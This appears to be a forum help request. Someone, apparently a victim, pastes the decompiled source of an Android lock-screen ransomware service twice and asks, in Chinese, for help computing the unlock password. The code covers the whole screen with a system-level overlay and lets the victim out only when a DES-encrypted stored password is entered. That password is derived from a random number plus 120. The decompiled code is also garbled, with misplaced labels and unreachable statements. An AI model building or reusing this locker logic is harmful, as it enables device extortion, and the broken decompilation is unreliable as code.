package com.h;
import android.app.Application;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.IBinder;
import android.text.Editable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class s
extends Service
{
Button bt;
DU des;
EditText ed;
SharedPreferences.Editor editor;
private View mFloatLayout;
private WindowManager mWindowManager;
long pass;
Long passw;
String password;
String ppss;
SharedPreferences share;
TextView tv;
private WindowManager.LayoutParams wmParams;
private void c()
{
this.wmParams = new WindowManager.LayoutParams();
Application localApplication = getApplication();
getApplication();
this.mWindowManager = ((WindowManager)localApplication.getSystemService(Context.WINDOW_SERVICE));
this.wmParams.type = 2010;
this.wmParams.format = 1;
this.wmParams.flags = 1280;
this.wmParams.gravity = 49;
this.wmParams.x = 0;
this.wmParams.y = 0;
this.wmParams.width = -1;
this.wmParams.height = -1;
this.mFloatLayout = LayoutInflater.from(getApplication()).inflate(2130903041, (ViewGroup)null);
this.mWindowManager.addView(this.mFloatLayout, this.wmParams);
this.bt = ((Button)this.mFloatLayout.findViewById(2131296258));
this.ed = ((EditText)this.mFloatLayout.findViewById(2131296257));
this.tv = ((TextView)this.mFloatLayout.findViewById(2131296256));
try
{
this.ed.setHint("宝贝在这输入密码!");
this.tv.append("随机码:");
this.bt.setOnClickListener(new View.OnClickListener()
{
@Override
public void onClick(View paramAnonymousView)
{
try
{
if (s.this.ed.getText().toString().equals(s.this.des.decrypt(s.this.share.getString("passw", ""))))
{
s.access$L1000001(s.this).removeView(s.access$L1000002(s.this));
s.this.stopSelf();
}
return;
}
catch (Exception paramAnonymousView) {}
}
});
}
catch (Exception localException1)
{
for (;;)
{
try
{
this.tv.append(new StringBuffer().append("\n").append(this.des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString() + this.share.getLong("m", 0));
return;
}
catch (Exception localException2) {}
localException1 = localException1;
}
}
}
public boolean is(Context paramContext)
{
if (paramContext != null)
{
paramContext = ((ConnectivityManager)paramContext.getSystemService("connectivity")).getActiveNetworkInfo();
if (paramContext != null) {
return paramContext.isAvailable();
}
}
return false;
}
@Override
public IBinder onBind(Intent paramIntent)
{
return (IBinder)null;
}
@Override
public void onCreate()
{
super.onCreate();
this.pass = ((Math.random() * 100000000));
this.passw = new Long(this.pass + 120);
this.des = new DU("flower");
try
{
this.des = new DU(this.des.decrypt("c29fe56fa59ab0db"));
this.share = getSharedPreferences("Flowers", 0);
this.editor = this.share.edit();
if (this.share.getLong("m", 0) == 0)
{
this.editor.putLong("m", this.pass);
this.editor.commit();
}
}
catch (Exception localException2)
{
try
{
this.editor.putString("passw", this.des.encrypt("" + this.passw));
this.editor.commit();
if (is(getApplicationContext())) {
this.ppss = (this.share.getLong("m", 8) + "");
}
}
catch (Exception localException2)
{
try
{
for (;;)
{
this.password = this.des.decrypt(this.share.getString("passw", ""));
label264:
new Thread()
{
public void run() {}
}.start();
return;
localException1 = localException1;
}
localException2 = localException2;
}
catch (Exception localException3)
{
break label264;
}
try
{
this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
this.editor.commit();
this.editor.putString("passw", "5a15e58cc8db8d1c700ecb6bb7b627a9");
this.editor.commit();
return;
}
catch (Exception localException4) {}
}
}
}
@Override
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
c();
}
}
因为没有学过,看不懂!大神帮忙算一下密码

import android.app.Application;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.IBinder;
import android.text.Editable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class s
extends Service
{
Button bt;
DU des;
EditText ed;
SharedPreferences.Editor editor;
private View mFloatLayout;
private WindowManager mWindowManager;
long pass;
Long passw;
String password;
String ppss;
SharedPreferences share;
TextView tv;
private WindowManager.LayoutParams wmParams;
private void c()
{
this.wmParams = new WindowManager.LayoutParams();
Application localApplication = getApplication();
getApplication();
this.mWindowManager = ((WindowManager)localApplication.getSystemService(Context.WINDOW_SERVICE));
this.wmParams.type = 2010;
this.wmParams.format = 1;
this.wmParams.flags = 1280;
this.wmParams.gravity = 49;
this.wmParams.x = 0;
this.wmParams.y = 0;
this.wmParams.width = -1;
this.wmParams.height = -1;
this.mFloatLayout = LayoutInflater.from(getApplication()).inflate(2130903041, (ViewGroup)null);
this.mWindowManager.addView(this.mFloatLayout, this.wmParams);
this.bt = ((Button)this.mFloatLayout.findViewById(2131296258));
this.ed = ((EditText)this.mFloatLayout.findViewById(2131296257));
this.tv = ((TextView)this.mFloatLayout.findViewById(2131296256));
try
{
this.ed.setHint("宝贝在这输入密码!");
this.tv.append("随机码:");
this.bt.setOnClickListener(new View.OnClickListener()
{
@Override
public void onClick(View paramAnonymousView)
{
try
{
if (s.this.ed.getText().toString().equals(s.this.des.decrypt(s.this.share.getString("passw", ""))))
{
s.access$L1000001(s.this).removeView(s.access$L1000002(s.this));
s.this.stopSelf();
}
return;
}
catch (Exception paramAnonymousView) {}
}
});
}
catch (Exception localException1)
{
for (;;)
{
try
{
this.tv.append(new StringBuffer().append("\n").append(this.des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString() + this.share.getLong("m", 0));
return;
}
catch (Exception localException2) {}
localException1 = localException1;
}
}
}
public boolean is(Context paramContext)
{
if (paramContext != null)
{
paramContext = ((ConnectivityManager)paramContext.getSystemService("connectivity")).getActiveNetworkInfo();
if (paramContext != null) {
return paramContext.isAvailable();
}
}
return false;
}
@Override
public IBinder onBind(Intent paramIntent)
{
return (IBinder)null;
}
@Override
public void onCreate()
{
super.onCreate();
this.pass = ((Math.random() * 100000000));
this.passw = new Long(this.pass + 120);
this.des = new DU("flower");
try
{
this.des = new DU(this.des.decrypt("c29fe56fa59ab0db"));
this.share = getSharedPreferences("Flowers", 0);
this.editor = this.share.edit();
if (this.share.getLong("m", 0) == 0)
{
this.editor.putLong("m", this.pass);
this.editor.commit();
}
}
catch (Exception localException2)
{
try
{
this.editor.putString("passw", this.des.encrypt("" + this.passw));
this.editor.commit();
if (is(getApplicationContext())) {
this.ppss = (this.share.getLong("m", 8) + "");
}
}
catch (Exception localException2)
{
try
{
for (;;)
{
this.password = this.des.decrypt(this.share.getString("passw", ""));
label264:
new Thread()
{
public void run() {}
}.start();
return;
localException1 = localException1;
}
localException2 = localException2;
}
catch (Exception localException3)
{
break label264;
}
try
{
this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
this.editor.commit();
this.editor.putString("passw", "5a15e58cc8db8d1c700ecb6bb7b627a9");
this.editor.commit();
return;
}
catch (Exception localException4) {}
}
}
}
@Override
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
c();
}
}
因为没有学过,看不懂!大神帮忙算一下密码

